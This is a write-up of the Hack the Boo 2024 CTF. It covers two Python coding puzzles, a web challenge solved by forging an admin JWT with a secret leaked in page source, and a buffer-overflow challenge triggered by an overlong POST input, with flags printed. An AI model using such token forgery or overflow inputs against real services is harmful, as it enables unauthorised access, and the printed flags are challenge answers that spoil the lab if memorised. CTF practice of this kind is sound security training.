Hack the Box (HTB) – Hack the Boo Competition CTF 2024

This is a walk-through of the Hack the Boo CTF 2024 (Competition, October 24-26) of Hack the Box for Halloween.

I only had limited time to play this CTF so not all solutions are available 🙁

Coding

MiniMax – Easy – 825 pts

In a haunted graveyard, spirits hide among the numbers. Can you identify the smallest and largest among them before they vanish?

Spawn the docker and access the web application. There is more detail on what to do.

We’ve intercepted codes from an underground organisation with intentions of malicious activity. Intelligence has informed us that most of the numbers are garbage, but the biggest and smallest numbers in the file form co-ordinates of the group’s next attack location.

Identify these 2 numbers, then print out first the minimum and then the maximum. Please be swift, agent – the clock is ticking!

Enter this Python code in the textbox and click on Run.

# take in the number
numbers = input().split()

# calculate answer
min = float(9999)
max = float(0)

for i in numbers:
    num = float(i)

    if num < min:
        min = num
    if num > max:
        max = num

# print answer
print(str(min) + "\n" + str(max))

HTB{aLL_maX3d_0uT_220c262c20f8f123c14257b0ebc21285}

Replacement – Easy – 825 pts

A cursed spell has altered a scroll, changing key letters. Replace the haunted letter with a random one to break the curse!

Spawn the docker and access the web application. There is more detail on what to do.

Given a string, a letter in the string and a random letter, replace all instances of the first letter with the latter.

Example

Input

Input String: Test me
Replace: e
Replace with: K

Output

TKst mK

Enter this Python code in the textbox and click on Run.

import re
text = input()
to_replace = input()
replace_by = input()

answer = re.sub(to_replace, replace_by, text)
print(answer)

HTB{g0tTa_r3pLacE_th3_sTR1nG!!_35b2c6cd164ca33d2bea5fd36bcd2130}

Web

WayWitch – Easy – 925 pts

NOTE: Access through https://[IP]:[PORT]/
Hidden in the shadows, a coven of witches communicates through arcane tokens, their messages cloaked in layers of dark enchantments. These enchanted tokens safeguard their cryptic conversations, masking sinister plots that threaten to unfold under the veil of night. However, whispers suggest that their protective spells are flawed, allowing outsiders to forge their own charms. Can you exploit the weaknesses in their mystical seals, craft a token of your own, and infiltrate their circle to thwart their nefarious plans before the next moon rises?

  • Spawn the docker.
  • Download the files.
  • Unzip the file

Inspect the code provided in the downloaded files.

web_waywitch/src/routes/index.js:

router.get("/tickets", async (req, res) => {
  const sessionToken = req.cookies.session_token;
[...]

  try {
    const username = getUsernameFromToken(sessionToken);

    if (username === "admin") {
      try {
        const tickets = await db.get_tickets();
        return res.status(200).json({ tickets });
      } catch (err) {
[...]

We find that there is an API /tickets, accessible only for username “admin”. The username is extracted from cookie session_token, using the getUsernameFromToken function.

web_waywitch/src/util.js:

const jwt = require("jsonwebtoken");

function getUsernameFromToken(token) {
  const secret = "[REDACTED]";

  try {
    const decoded = jwt.verify(token, secret);
    return decoded.username;
  } catch (err) {
    throw new Error("Invalid token: " + err.message);
  }
}
[...]

The function getUsernameFromToken extracts the username from a JSON Web Token (JWT). The goal is to change our username to the “admin” username to access the API /tickets.

Access the web application and inspect requests using Burp Suite.

GET / HTTP/1.1
Host: <docker>
[...]
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
[...]
               const secretKey = await crypto.subtle.importKey(
                    "raw",
                    new TextEncoder().encode("halloween-secret"),
                    { name: "HMAC", hash: "SHA-256" },
[...]

We find a secret key “halloween-secret”.

In the web application, enter anything in the Name and Description text fields and click on Submit ticket. A POST request is sent to /submit-ticket, including the session_token cookie (JWT).

POST /submit-ticket HTTP/1.1
Host: <docker>
Cookie: session_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0XzQ3NTkiLCJpYXQiOjE3Mjk4ODY5MjN9.wl2tGGaBwQKmAivoiOCLm5rmhEjoLZtWO4L4ujgeCZc
[...]

{"name":"test","description":"test"}

Use jwt.io and copy your JWT. Under Verify signature, enter “halloween-secret”. Replace the guest username in the payload data by “admin”.

{
  "username": "guest_4759",
  "iat": 1729886923
}
{
  "username": "admin",
  "iat": 1729886923
}

Copy the generated token. In Burp Suite, send a request to /tickets with the new token.

GET /tickets HTTP/1.1
Host: <docker>
Cookie: session_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNzI5ODg2OTIzfQ.sib0XgyWFwUuQUcrK54QcxkWXTdZXsiyycx0ncRgnr4
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 1092
ETag: W/"444-n2m3UnnpQqAHAcV3BD5efP6c9Sk"
Date: Fri, 25 Oct 2024 19:37:09 GMT
Connection: keep-alive
Keep-Alive: timeout=5

{"tickets":[{"id":1,"name":"John Doe","username":"guest_1234","content":"I need help with my account."},{"id":2,"name":"Jane Smith","username":"guest_5678","content":"There is an issue with my subscription."},{"id":3,"name":"Admin","username":"admin","content":"Top secret: The Halloween party is at the haunted mansion this year. Use this code to enter HTB{k33p_jwt_s3cr3t_s4f3_br0_e44db038f19d24bd48b9a16e3a08e6a9}"},{"id":4,"name":"Paul Blake","username":"guest_9012","content":"Can someone assist with resetting my password?"},{"id":5,"name":"Alice Cooper","username":"guest_3456","content":"The app crashes every time I try to upload a picture."},{"id":6,"name":"test","username":"guest_7983","content":"test"},{"id":7,"name":"test","username":"guest_7983","content":"test"},{"id":8,"name":"test","username":"guest_7983","content":"test"},{"id":9,"name":"test","username":"guest_7983","content":"test"},{"id":10,"name":"test","username":"guest_7983","content":"test"},{"id":11,"name":"a","username":"guest_4807","content":"a"},{"id":12,"name":"a","username":"guest_4807","content":"a"}]}

HTB{k33p_jwt_s3cr3t_s4f3_br0_e44db038f19d24bd48b9a16e3a08e6a9}

Pwn

El Pipo – Easy – 850 pts

An ancient spirit, El Pipo, has taken control of this place. Face your fears and try to drive it away with your most vicious scream!

  • Spawn the docker.
  • Download the files.
  • Unzip the file

Check the security properties that were built into the binary when it was compiled.

checksec --file=el_pipo
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Full RELRO      No canary found   NX enabled    PIE enabled     No RPATH   RW-RUNPATH   49 Symbols        No    0               1               el_pipo

The application may be vulnerable to buffer overflow since the canary is disabled. Access the web application at http://<docker>:<port>. Enter a long string in the input:

POST /process HTTP/1.1
Host: <docker>
Content-Length: 76
Accept-Language: en-US,en;q=0.9
User-Agent: HackTheBoo/20.24 (Cursed; StalePolicy) CSPloitCrawler/1.1
Content-Type: application/json
Accept: */*
Origin: http://83.136.254.186:35083
Referer: http://83.136.254.186:35083/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

{"userInput":"Booooooooooooooooooooooooooooooooooooooooooooooooooooooooooo"}
HTTP/1.1 200 OK
Server: Werkzeug/3.0.4 Python/3.10.15
Date: Fri, 25 Oct 2024 23:32:09 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 52
Connection: close

HTB{3l_p1p0v3rfl0w_6cf8bf00a299787f5c4b6d5075256b9f}

HTB{3l_p1p0v3rfl0w_6cf8bf00a299787f5c4b6d5075256b9f}